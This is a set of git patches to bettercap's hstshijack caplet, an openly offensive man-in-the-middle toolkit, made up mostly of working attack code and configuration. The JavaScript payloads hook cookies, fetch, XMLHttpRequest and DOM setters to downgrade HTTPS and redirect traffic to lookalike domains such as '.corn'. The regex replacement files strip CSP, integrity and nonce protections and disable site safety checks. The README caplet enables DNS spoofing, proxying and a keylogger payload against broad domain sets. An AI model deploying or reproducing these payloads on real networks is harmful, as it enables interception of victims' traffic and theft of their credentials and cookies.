+ obf_hstshijack_replacement_hosts[obf_hstshijack_a]);
+ break;
+ } else {
+ const obf_hstshijack_unspoofed_domain = "a" + obf_hstshijack_cookie_domain;
+ const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_unspoofed_domain);
+ if (obf_hstshijack_unspoofed_domain !== obf_hstshijack_spoofed_domain) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
+ obf_hstshijack_spoofed_domain.slice(1));
+ break;
+ }
+ }
+ }
+ } else {
+ for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) {
+ const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_cookie_domain);
+ if (obf_hstshijack_cookie_domain !== obf_hstshijack_spoofed_domain) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
+ obf_hstshijack_spoofed_domain);
+ break;
+ }
+ }
+ }
+ }
+ obf_hstshijack_originalCookieSetter.call(document, obf_hstshijack_value
+ .replace(obf_hstshijack_rx_cookie_host_prefix, "obf_hstshijack_cookie_host_prefix")
+ .replace(obf_hstshijack_rx_cookie_secure_prefix, "obf_hstshijack_cookie_secure_prefix")
+ .replace(obf_hstshijack_rx_cookie_downgrade, ""))
+ },
+ });
+ };
- function obf_hstshijack_func_hook_fetch() {
- globalThis.fetch = function(obf_hstshijack_var_resource, obf_hstshijack_var_options) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_resource),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- obf_hstshijack_var_resource = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- return obf_hstshijack_func_fetch(obf_hstshijack_var_resource, obf_hstshijack_var_options);
- }
- }
+ const obf_hstshijack_hookHtmlSetters = () => {
+ Object.defineProperty(Element.prototype, "innerHTML", {
+ configurable: true,
+ set: function(obf_hstshijack_html) {
+ obf_hstshijack_innerHtmlSetter.call(
+ this,
+ obf_hstshijack_hijackHtml(obf_hstshijack_html));
+ },
+ });
+ Object.defineProperty(Element.prototype, "outerHTML", {
+ configurable: true,
+ set: function(obf_hstshijack_html) {
+ obf_hstshijack_outerHtmlSetter.call(
+ this,
+ obf_hstshijack_hijackHtml(obf_hstshijack_html));
+ },
+ });
+ };
- function obf_hstshijack_func_hook_nodes() {
- document.querySelectorAll("a,form,script,iframe").forEach(function(obf_hstshijack_var_node){
- try {
- var obf_hstshijack_var_url = "";
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- obf_hstshijack_var_node.href
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.href
- : "";
- break;
- case "FORM":
- obf_hstshijack_var_node.action
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.action
- : "";
- break;
- case "SCRIPT":
- obf_hstshijack_var_node.src
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.src
- : "";
- break;
- case "IFRAME":
- obf_hstshijack_var_node.src
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.src
- : "";
- break;
- }
- if (obf_hstshijack_var_url.match(/^\s*(?:http[s]?:)?\/\/[^:/?#]+/i)) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- var obf_hstshijack_var_hijacked_url = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- if (obf_hstshijack_var_node.href) {
- obf_hstshijack_var_node.href = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "FORM":
- if (obf_hstshijack_var_node.action) {
- obf_hstshijack_var_node.action = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "SCRIPT":
- if (obf_hstshijack_var_node.src) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "IFRAME":
- if (obf_hstshijack_var_node.src) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url;
- }
- break;
- }
- obf_hstshijack_func_callback(obf_hstshijack_var_parsed_url[1].toLowerCase());
- }
- } catch(obf_hstshijack_var_ignore) {}
- });
- }
+ const obf_hstshijack_hookLinkHrefSetter = () => {
+ Object.defineProperty(HTMLLinkElement.prototype, "href", {
+ configurable: true,
+ set: function() {
+ obf_hstshijack_linkHrefSetter.call(this, "");
+ },
+ });
+ };
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookScriptNonceSetter = () => {
+ Object.defineProperty(HTMLScriptElement.prototype, "nonce", {
+ configurable: true,
+ set: function() {
+ this.setAttribute("nonce", "");
+ },
+ });
+ };
- try {
- obf_hstshijack_func_hook_fetch();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookScriptSrcSetter = () => {
+ Object.defineProperty(HTMLScriptElement.prototype, "src", {
+ configurable: true,
+ set: function(obf_hstshijack_url) {
+ obf_hstshijack_scriptSrcSetter.call(
+ this,
+ obf_hstshijack_hijackUrl(obf_hstshijack_url));
+ },
+ });
+ };
- globalThis.addEventListener("DOMContentLoaded", function(){
- try {
- setInterval(obf_hstshijack_func_hook_nodes, 2000);
- obf_hstshijack_func_hook_nodes();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookXMLHttpRequest = () => {
+ globalThis.XMLHttpRequest.prototype.open = function(
+ obf_hstshijack_method,
+ obf_hstshijack_url,
+ obf_hstshijack_async,
+ obf_hstshijack_username,
+ obf_hstshijack_password
+ ) {
+ obf_hstshijack_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ return obf_hstshijack_xhrOpen.apply(this, arguments);
+ }
+ };
- try {
- globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
- } catch(obf_hstshijack_var_ignore) {}
- });
-})();
+ const obf_hstshijack_hookFetch = () => {
+ globalThis.fetch = function(obf_hstshijack_resource, obf_hstshijack_options) {
+ return obf_hstshijack_fetch(obf_hstshijack_hijackUrl(obf_hstshijack_resource), obf_hstshijack_options);
+ }
+ };
+
+ const obf_hstshijack_hookNodes = () => {
+ document.querySelectorAll("a,form,script,iframe").forEach(function(obf_hstshijack_node){
+ try {
+ let obf_hstshijack_url = "";
+ switch (obf_hstshijack_node.tagName) {
+ case "A" || "LINK":
+ obf_hstshijack_node.href ? obf_hstshijack_url = obf_hstshijack_node.href : "";
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.href = obf_hstshijack_hijacked_url;
+ }
+ }
+ break;
+ case "FORM":
+ obf_hstshijack_node.action ? obf_hstshijack_url = obf_hstshijack_node.action : "";
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.action = obf_hstshijack_hijacked_url;
+ }
+ }
+ break;
+ case "SCRIPT" || "IFRAME":
+ obf_hstshijack_node.src ? obf_hstshijack_url = obf_hstshijack_node.src : "";
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ let obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.src = obf_hstshijack_hijacked_url;
+ }
+ }
+ break;
+ }
+ if (obf_hstshijack_url) {
+ const obf_hstshijack_parsed_url = obf_hstshijack_parseURL(obf_hstshijack_url);
+ obf_hstshijack_sendCallback(obf_hstshijack_parsed_url[1].toLowerCase());
+ }
+ } catch(obf_hstshijack_ignore) {}
+ });
+ };
+
+ try {
+ obf_hstshijack_hookCookieGetterAndSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookHtmlSetters();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookLinkHrefSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookScriptNonceSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookScriptSrcSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookXMLHttpRequest();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookFetch();
+ } catch(obf_hstshijack_ignore) {}
+
+// try {
+// obf_hstshijack_hookNodes();
+// } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_mutation_observer.observe(document.documentElement, {
+ childList: true,
+ subtree: true,
+ attributes: true,
+ });
+ } catch(obf_hstshijack_ignore) {}
+})().catch((err) => console.error(err));
diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js
index 0fec2ba..df80f12 100644
--- a/hstshijack/payloads/sslstrip.js
+++ b/hstshijack/payloads/sslstrip.js
@@ -1,12 +1,3 @@
-/*
- Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes.
-
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
-*/
-
(function(){
"use strict";
@@ -26,7 +17,7 @@
}
function obf_hstshijack_func_hook_nodes() {
- document.querySelectorAll("a,iframe,script,form").forEach(function(obf_hstshijack_var_node){
+ document.querySelectorAll("a,iframe,script,form,link").forEach(function(obf_hstshijack_var_node){
try {
switch (obf_hstshijack_var_node.tagName) {
case "A":
@@ -49,6 +40,11 @@
obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1");
}
break;
+ case "LINK":
+ if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
+ }
+ break;
}
} catch(obf_hstshijack_var_ignore) {}
});
diff --git a/hstshijack/replacements/req.body.json b/hstshijack/replacements/req.body.json
new file mode 100644
index 0000000..df941b3
--- /dev/null
+++ b/hstshijack/replacements/req.body.json
@@ -0,0 +1,18 @@
+{
+ "*": [
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"]
+ ]
+}
diff --git a/hstshijack/whitelist.json b/hstshijack/replacements/req.headers.json
similarity index 100%
rename from hstshijack/whitelist.json
rename to hstshijack/replacements/req.headers.json
diff --git a/hstshijack/replacements/req.url.json b/hstshijack/replacements/req.url.json
new file mode 100644
index 0000000..aef671f
--- /dev/null
+++ b/hstshijack/replacements/req.url.json
@@ -0,0 +1,21 @@
+{
+ "path": {},
+ "query": {
+ "*": [
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"]
+ ]
+ }
+}
diff --git a/hstshijack/replacements/res.body.json b/hstshijack/replacements/res.body.json
new file mode 100644
index 0000000..90b12cf
--- /dev/null
+++ b/hstshijack/replacements/res.body.json
@@ -0,0 +1,50 @@
+{
+ "html": {
+ "*": [
+ ["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"],
+ [" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"],
+ [" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"],
+ [" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"]
+ ],
+ "home.nest.com": [
+ ["document.domain = ", "g", "//"]
+ ]
+ },
+ "javascript": {
+ "*": [
+ ["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"]
+ ],
+ "apis.google.com": [
+ ["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"]
+ ],
+ "home.nest.com": [
+ ["(ensureSafe:function\\(e\\)\\{)", "g", "$1if(1)return;"]
+ ]
+ },
+ "json": {
+ "*": [
+ ["(\"(?:http|ws))s", "ig", "$1"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"]
+ ]
+ }
+}
diff --git a/hstshijack/replacements/res.headers.json b/hstshijack/replacements/res.headers.json
new file mode 100644
index 0000000..abc51ce
--- /dev/null
+++ b/hstshijack/replacements/res.headers.json
@@ -0,0 +1,3 @@
+{
+ "accounts.google.com": []
+}
diff --git a/hstshijack/session/whitelist.json b/hstshijack/session/whitelist.json
new file mode 100644
index 0000000..0967ef4
--- /dev/null
+++ b/hstshijack/session/whitelist.json
@@ -0,0 +1 @@
+{}
diff --git a/hstshijack/domains.txt b/hstshijack/ssl/domains.txt
similarity index 100%
rename from hstshijack/domains.txt
rename to hstshijack/ssl/domains.txt
diff --git a/hstshijack/index.json b/hstshijack/ssl/index.json
similarity index 75%
rename from hstshijack/index.json
rename to hstshijack/ssl/index.json
index 69a88e3..0967ef4 100644
--- a/hstshijack/index.json
+++ b/hstshijack/ssl/index.json
@@ -1 +1 @@
-{}
+{}
From f3f75b58bd540a40f894bb9dee50869890798809 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:28:57 +0200
Subject: [PATCH 02/32] Update README.md
---
hstshijack/README.md | 36 +++++++++++++++++++++---------------
1 file changed, 21 insertions(+), 15 deletions(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index f451606..a8a263c 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -2,32 +2,38 @@

-### Caplet
+### Caplet ([hstshijack.cap](https://github.com/bettercap/caplets/blob/master/hstshijack/hstshijack.cap))
```sh
# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
-set hstshijack.targets *.google.com, google.com, gstatic.com, *.gstatic.com
-set hstshijack.replacements *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
-set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
-set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
-set hstshijack.ssl.check true
-#set hstshijack.blockscripts example.com,*.example.com
-set hstshijack.obfuscate true
-set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
-set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
-set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
+set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*.cn,*.google
+set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl
+set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.body.json
+set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.headers.json
+set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.body.json
+set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.headers.json
+set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt
+set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/ssl/index.json
+set hstshijack.ssl.index.check true
+set hstshijack.ssl.discovery.synchronous true
+set hstshijack.ssl.discovery.timeout 4
+set hstshijack.cookies.downgrade true
+#set hstshijack.blockscripts example.com,*.example.com
+set hstshijack.obfuscate true
+set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js
+set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/session/whitelist.json
+set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
net.recon on
-set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
+set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/hstshijack.js
http.proxy on
-set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
-set dns.spoof.all true
-dns.spoof on
+set dns.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/dns.proxy.js
+dns.proxy on
```
###
**hijack.js** payload
From 9b29d810ff2195490ab73fa66de0677f5f829986 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:33:38 +0200
Subject: [PATCH 03/32] Update README.md
---
hstshijack/README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index a8a263c..b648030 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -47,7 +47,7 @@ Injecting
**hijack.js** is essential for host
-
+
When hosts respond with an HTTPS redirect, bettercap will save their hostname in lists that are sorted by domain prefixes, allowing the list to scale by reducing a considerable amount of overhead for the proxy module.
From 22c54c7279ab2a580dd8f6900a1a7d7b0c9444d8 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:38:43 +0200
Subject: [PATCH 04/32] Update README.md
---
hstshijack/README.md | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index b648030..f539f41 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -71,6 +71,10 @@ set hstshijack.replacements google.corn,*.google.corn
You can try to make them as unnoticeable as you can, but your options are limited here in terms of evading HSTS.
+### Regular Expression replacements
+
+...
+
### Block scripts
In the
**caplet file** you can block JavaScript from hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_
@@ -79,7 +83,7 @@ In the
**caplet file** you can block JavaScript f
You can also inject your own scripts into files from your specified hosts by assigning them to the `hstshijack.payloads` variable.
-Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Individual payloads are not failsafe, so you must set your conditions/try and catch blocks yourself.
+Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times.
Example:
From 1c625d69a20b7a763f276dab6403c98a59ca3e3e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:41:16 +0200
Subject: [PATCH 05/32] Update README.md
---
hstshijack/README.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index f539f41..dfb4708 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -13,6 +13,7 @@ set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*
set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl
set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.body.json
set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.headers.json
+set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.url.json
set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.body.json
set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.headers.json
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt
From 7f06b02f9b33f66af98a3220ea68a07c3c5b22d5 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:44:35 +0200
Subject: [PATCH 06/32] Update README.md
---
hstshijack/README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index dfb4708..cefb9d2 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -53,7 +53,7 @@ Injecting
**hijack.js** is essential for host
When hosts respond with an HTTPS redirect, bettercap will save their hostname in lists that are sorted by domain prefixes, allowing the list to scale by reducing a considerable amount of overhead for the proxy module.
-By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.check` variable to `false`.
+By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.index.check` variable to `false`.
